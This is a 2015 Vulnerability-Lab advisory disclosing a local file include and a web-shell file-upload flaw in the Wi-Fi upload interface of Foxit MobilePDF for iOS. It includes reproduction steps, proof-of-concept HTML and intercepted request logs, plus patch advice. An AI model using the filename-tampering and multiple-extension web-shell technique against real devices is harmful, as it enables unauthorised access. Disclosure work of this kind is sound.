272 lines
No EOL
13 KiB
Text
272 lines
No EOL
13 KiB
Text
Document Title:
|
|
===============
|
|
Foxit MobilePDF v4.4.0 iOS - Multiple Web Vulnerabilities
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
http://www.vulnerability-lab.com/get_content.php?id=1400
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2015-01-12
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
1400
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
6.9
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Foxit MobilePDF enables you to view and annotate PDF documents on the go, allowing you to work on your PDF documents anytime, anywhere.
|
|
Specify the permissions to restrict operations to PDF files, such as copying content, adding annotation, managing page & bookmark, and printing.
|
|
Share, store and synchronize PDF files.
|
|
|
|
(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/foxit-mobile-pdf/id507040546 )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official Foxit MobilePDF v4.4.0 iOS mobile web-application.
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2015-01-12: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
Foxit Corporation
|
|
Product: MobilePDF - iOS Web Application (Wifi) 4.4.0
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
High
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
1.1
|
|
A local file include web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application.
|
|
The local file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
|
|
path commands to compromise the mobile web-application.
|
|
|
|
The vulnerability is located in the `filename` value of the wifi interface `upload` module. Local attackers are able to manipulate the
|
|
wifi web interface by usage of the vulnerable `upload` POST method request. The service does not encode or parse the `filename` context
|
|
on uploads. Attackers can include an existing local application path or an existing local device path as source in connection with script
|
|
code to compromise the iOS app. The execution of unauthorized local file or path request occurs in the index of documents module of the
|
|
wifi file service application after the inject. The request method to inject is POST and the attack vector is located on the application-side
|
|
of the affected iOS application.
|
|
|
|
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9.
|
|
Exploitation of the local file include web vulnerability in the upload module requires no user interaction or privileged web-application user account.
|
|
Successful exploitation of the local file include web vulnerability results in mobile application compromise or compromised device components.
|
|
|
|
Vulnerable Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] Upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename (name)
|
|
|
|
Affected Module(s):
|
|
[+] Index of Documents (http://localhost:8888)
|
|
|
|
|
|
|
|
1.2
|
|
An arbitrary file upload web vulnerability has been discovered in the official Foxit MobilePDF v4.4.0 iOS mobile web-application.
|
|
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.
|
|
|
|
The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the
|
|
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension
|
|
`pentest.png.html.php.js.aspx.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file
|
|
extension and can access the webshell with elevated access rights to execute.
|
|
|
|
The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6.
|
|
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
|
|
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.
|
|
|
|
|
|
Request Method(s):
|
|
[+] [POST]
|
|
|
|
Vulnerable Module(s):
|
|
[+] Upload
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] filename (multiple extensions)
|
|
|
|
Affected Module(s):
|
|
[+] Index of Documents (http://localhost:8888)
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
1.1
|
|
The local file include vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
|
|
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
|
|
|
Manual steps to reproduce the vulnerability ...
|
|
1. Download and install the FoxIT MobilePDF iOS application
|
|
2. Surf to the Documents Index of the Wifi Server (http://localhost:8888)
|
|
3. Start to choose a file for the upload function by usage of the search
|
|
4. Intercept the session by usage of a tamper and change the name value to the local device path source
|
|
5. Continue the request and save the settings. After that go back to the Index of Documents
|
|
Note: The execution of the script code occurs in the vulnerable name value of the index file dir list
|
|
6. Successful reproduce of the security vulnerability!
|
|
|
|
PoC: Index of Documents (Name)
|
|
<tr><td><a href="/<img src="><img src="./[LOCAL FILE INCLUDE VULNERABILITY!]</a"></a></td><td align="center">file</td>
|
|
<td align="center"><span class="m">2015-01-10 13:49</span></td><td align="center"><span class="s">538 B</span></td></tr>
|
|
|
|
--- PoC Session Logs [POST] (File Include > Upload)---
|
|
Status: 200[OK]
|
|
POST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3624] Mime Type[application/x-unknown-content-type]
|
|
Request Header:
|
|
Host[localhost:8888]
|
|
User-Agent
|
|
[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8888/]
|
|
Connection[keep-alive]
|
|
POST-Daten:
|
|
POST_DATA[-----------------------------3796507625132
|
|
Content-Disposition: form-data; name="button";
|
|
filename="./[LOCAL FILE INCLUDE VULNERABILITY!]+2.png"
|
|
Content-Type: image/png
|
|
|
|
--- PoC Session Logs [GET] (File Dir Index List)---
|
|
13:54:26.427[48ms][total 48ms] Status: 200[OK]
|
|
GET http://localhost:8888/%3C/./[LOCAL FILE INCLUDE VULNERABILITY!] Load Flags[LOAD_NORMAL] Größe des Inhalts[142] Mime Type[application/x-unknown-content-type]
|
|
Request Header:
|
|
Host[localhost:8888]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
|
|
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8888/]
|
|
Connection[keep-alive]
|
|
Response Header:
|
|
Accept-Ranges[bytes]
|
|
Content-Length[142]
|
|
Date[Sa., 10 Jan. 2015 12:49:30 GMT]
|
|
|
|
Reference(s):
|
|
http://localhost:8888/
|
|
http://localhost:8888/%3C/./
|
|
|
|
|
|
|
|
1.2
|
|
The arbitrary file upload vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
|
|
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
|
|
|
PoC: URL
|
|
http://localhost:8888/./webshell.png.html.php
|
|
|
|
PoC: Index of Documents
|
|
<tr><td><a href="/webshell.png.html.php.js.png">webshell.png.html.php.js.png</a></td>
|
|
<td align="center">file</td><td align="center"><span class="m">2015-01-10 13:58</span></td>
|
|
<td align="center"><span class="s">538 B</span></td></tr>
|
|
|
|
--- PoC Session Logs [POST] ---
|
|
14:03:16.481[149ms][total 1583ms] Status: 200[OK]
|
|
POST http://localhost:8888/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3883] Mime Type[application/x-unknown-content-type]
|
|
Request Header:
|
|
Host[localhost:8888]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0]
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
|
Accept-Encoding[gzip, deflate]
|
|
Referer[http://localhost:8888/]
|
|
Connection[keep-alive]
|
|
POST-Daten:
|
|
POST_DATA[-----------------------------282243582256
|
|
Content-Disposition: form-data; name="button"; filename="webshell.png.html.php.js.png"
|
|
Content-Type: image/png
|
|
|
|
Reference(s):
|
|
http://localhost:8888/
|
|
http://localhost:8888/./webshell.png.html.php
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
1.1
|
|
The file include vulnerability can be paütched by a secure parse and encode of the vulnerable `filename` value in the upload POST method request.
|
|
Restrict the filename input and filter with an own set exception to prevent application-side attacks.
|
|
Parse also in the Index of Documents the vulnerable name output value to solve the issue.
|
|
|
|
1.2
|
|
Restrict the vulnerable `filename` value and implement a secure filter mechanism with own exception to prevent the upload of files with multiple extensions.
|
|
Restrict the upload folder and disallow the execution of files that are already uploaded.
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
1.1
|
|
The security risk of the local file include web vulnerability in the upload POSt method request is estimated as high. (CVSS 6.9)
|
|
|
|
1.2
|
|
The security risk of the arbitrary file upload vulnerability in the upload POST method request is estimated as high. (CVSS 6.6)
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
|
|
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
|
|
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
|
|
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
|
|
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
|
|
policies, deface websites, hack into databases or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
|
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
|
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
|
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
|
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
|
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
|
SERVICE: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt |